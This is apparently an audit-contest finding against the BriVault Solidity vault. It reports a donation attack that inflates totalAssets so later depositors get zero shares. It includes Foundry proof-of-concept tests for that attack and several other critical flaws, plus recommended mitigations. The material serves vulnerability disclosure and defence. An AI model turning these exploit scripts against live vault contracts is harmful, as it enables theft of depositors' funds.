BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Direct transfer() to vault inflates totalAssets(), diluting winner payouts to zero while attacker profits

Critical: Donation Attack Dilutes New Depositors to Zero Shares

Description

  • Internal method _convertToShares() uses IERC20(asset()).balanceOf(address(this)) to calculate share price.

  • Anyone can transfer() underlying tokens directly to the vault → inflates balanceOfVault.

  • Attacker deposits minimal amount first, then donates massively → controls majority of shares.

  • Subsequent depositors get zero shares due to rounding → 0 payout.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)); // @> Includes donated tokens
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) return assets;
shares = Math.mulDiv(assets, totalShares, balanceOfVault); // @> Diluted: shares → 0
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
...
uint256 participantShares = _convertToShares(stakeAsset); // @> Near-zero due to donation
...
}

Risk

Likelihood:

  • Occurs after first deposit — one transfer() to vault address

  • Can be used in sandwich attack for first deposit tx

Impact:

  • New depositors receive near-zero shares due to rounding

  • Legitimate winners get 0 payout despite large deposits

  • Attacker profits on minimal initial stake

Proof of Concept

file test/BriVaultExploitTest.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {BriVault, BriVaultExploitTest, IERC20Errors, Math} from "./BriVaultExploitTest.t.sol";
contract BriVaultExploit is BriVaultExploitTest {
using Math for uint256;
function test_criticalDonationAttackDilutesUserSharesToZeroAllowingProfit() external {
uint256 minAmount = 1 wei;
_deployVault(minAmount);
_deposit(attacker1, attacker1, minAmount);
uint256 attackerShares = vault.balanceOf(attacker1);
uint256 maliciousDonation = 100 ether;
token.mint(attacker1, maliciousDonation);
vm.prank(attacker1);
token.transfer(address(vault), maliciousDonation);
_deposit(user1, user1, USER1_AMOUNT);
uint256 user1Shares = vault.balanceOf(user1);
assertGt(attackerShares, user1Shares, "Attacker1 has greater shares than User1 despite smaller deposit");
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
vm.prank(attacker1);
vault.withdraw();
assertGt(token.balanceOf(attacker1), maliciousDonation + minAmount, "Attacker1 got profit");
vm.prank(user1);
vault.withdraw();
assertEq(token.balanceOf(user1), 0, "User1 got nothing");
}
function test_criticalDepositAllowsAssetDuplicationViaERC4626RedeemOrWithdrawAndCancelParticipation() external {
address attacker3 = makeAddr("attacker3");
uint256 balance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
_deposit(attacker2, attacker3, ATTACKER_AMOUNT);
assertEq(vault.balanceOf(attacker3), 0, "Attacker3 did not receive shares");
_erc4626RedeemOrWithdraw(true, attacker2, "Attacker2");
assertEq(token.balanceOf(attacker2), balance, "Attacker2 got funds");
vm.prank(attacker3);
vault.cancelParticipation();
assertEq(token.balanceOf(attacker3), balance, "Attacker3 got funds");
}
function test_criticalCancelParticipationInflatesTotalWinnerSharesCausingUnderpaymentAndLockAssetsInVault()
external
{
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
vm.prank(attacker1);
vault.cancelParticipation();
_endEventAndSetWinner();
uint256 fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
vm.prank(user1);
vault.withdraw();
assertLt(token.balanceOf(user1), fairBalance, "User1 underpaid due to inflated totalWinnerShares");
assertGt(vault.totalAssets(), 0, "Assets stuck in vault");
}
function test_criticalLooserCanWithdrawOrRedeemViaERC4626(bool useRedeem) external {
_joinEvent(attacker1, (WINNER_COUNTRY_ID + 1) % countries.length);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
_erc4626RedeemOrWithdraw(useRedeem, attacker1, "Attacker1");
vm.expectRevert(
abi.encodeWithSelector(
IERC20Errors.ERC20InsufficientBalance.selector,
address(vault),
token.balanceOf((address(vault))),
finalizedVaultAsset
)
);
vm.prank(user1);
vault.withdraw();
_erc4626RedeemOrWithdraw(useRedeem, user1, "User1");
}
function test_criticalMultipleJoinEventInflatesSharesAndLockAssetsInVault(uint8 joinTimes) external {
vm.assume(joinTimes > 1);
for (uint8 i = 0; i < joinTimes; i++) _joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
uint256 attacker1Shares = vault.balanceOf(attacker1);
uint256 user1Shares = vault.balanceOf(user1);
assertEq(totalWinnerShares, attacker1Shares * joinTimes + user1Shares, "Total winner shares incorrect");
uint256 balance = _withdraw(attacker1, attacker1Shares, "Attacker1");
uint256 fairBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
assertLt(balance, fairBalance, "Attacker1 final balance is less than fair");
balance = _withdraw(user1, user1Shares, "User1");
fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
assertLt(balance, fairBalance, "User1 final balance is less than fair");
assertGt(vault.totalAssets(), 0, "Assets stuck in vault");
}
function test_criticalNonJoiningEventDepositorsFundWinners() external {
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_endEventAndSetWinner();
uint256 fairBalance = ATTACKER_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE);
uint256 balance = _withdraw(attacker1, vault.balanceOf(attacker1), "Winner");
assertGt(balance, fairBalance, "Attacker1 balance is greater than fair");
assertEq(token.balanceOf(address(vault)), 0, "Attacker1 drained whole vault assets balance");
}
function test_criticalDepositOverwritesStakedAsset() external {
_deposit(user1, user1, USER1_AMOUNT);
uint256 fairBalance = USER1_AMOUNT.mulDiv(AFTER_FEE, FEE_BASE) * 2;
vm.prank(user1);
vault.cancelParticipation();
assertLt(token.balanceOf(user1), fairBalance, "User1 got less than fair balance");
}
function test_mediumConstructorWithPastDatesBlocksDepositsAndAllowsImmediateSetWinner() external {
vm.warp(block.timestamp + 100 days);
_deployVault(MIN_AMOUNT);
token.mint(user1, USER1_AMOUNT);
vm.startPrank(user1);
token.approve(address(vault), USER1_AMOUNT);
vm.expectRevert(abi.encodeWithSelector(BriVault.eventStarted.selector));
vault.deposit(USER1_AMOUNT, user1);
vm.stopPrank();
vm.prank(owner);
vault.setWinner(WINNER_COUNTRY_ID);
assertEq(vault.winner(), countries[WINNER_COUNTRY_ID], "Winner is set");
}
}

file test/PocC02.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {BriVaultExploitTest} from "./BriVaultExploitTest.t.sol";
contract PocC03 is BriVaultExploitTest {
function test_criticalDonationAttackDilutesUserSharesToZeroAllowingProfit() external {
// Step 1: Deploy vault with minimal deposit
uint256 minAmount = 1 wei;
_deployVault(minAmount);
// Step 2: Attacker deposits minimal amount
_deposit(attacker1, attacker1, minAmount);
uint256 attackerShares = vault.balanceOf(attacker1);
emit log_named_uint("Attacker1 shares", attackerShares);
// Step 3: Attacker donates 100 tokens directly to vault
uint256 maliciousDonation = 100 ether;
token.mint(attacker1, maliciousDonation);
vm.prank(attacker1);
token.transfer(address(vault), maliciousDonation);
// Step 4: User1 deposits
_deposit(user1, user1, USER1_AMOUNT);
uint256 user1Shares = vault.balanceOf(user1);
emit log_named_uint("User1 shares", user1Shares);
assertEq(user1Shares, 0, "User1 received zero shares due to donation dilution");
assertEq(attackerShares, vault.totalSupply(), "Attacker1 owns all shares");
// Step 5: Both join winning country
_joinEvent(attacker1, WINNER_COUNTRY_ID);
_joinEvent(user1, WINNER_COUNTRY_ID);
// Step 6: Event ends and winner is set
_endEventAndSetWinner();
// Step 7: Attacker withdraws — gets donation + deposit
uint256 vaultBalanceBefore = token.balanceOf(address(vault));
vm.prank(attacker1);
vault.withdraw();
uint256 vaultBalanceAfter = token.balanceOf(address(vault));
uint256 attacker1Balance = token.balanceOf(attacker1);
emit log_named_uint("Attacker1 balance after withdraw", attacker1Balance);
emit log_named_uint("Vault balance after Attacker1 withdraw", vaultBalanceAfter);
assertEq(attacker1Balance, vaultBalanceBefore, "Attacker1 got whole vault balance");
assertEq(vaultBalanceAfter, 0, "Vault is empty after Attacker1 withdraw");
// Step 8: User1 withdraws — gets 0
vm.prank(user1);
vault.withdraw();
assertEq(token.balanceOf(user1), 0, "User1 got nothing");
}
}

Recommended Mitigation

  • Track vault assets balance internally

  • Seed initial deposit during initialization

Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!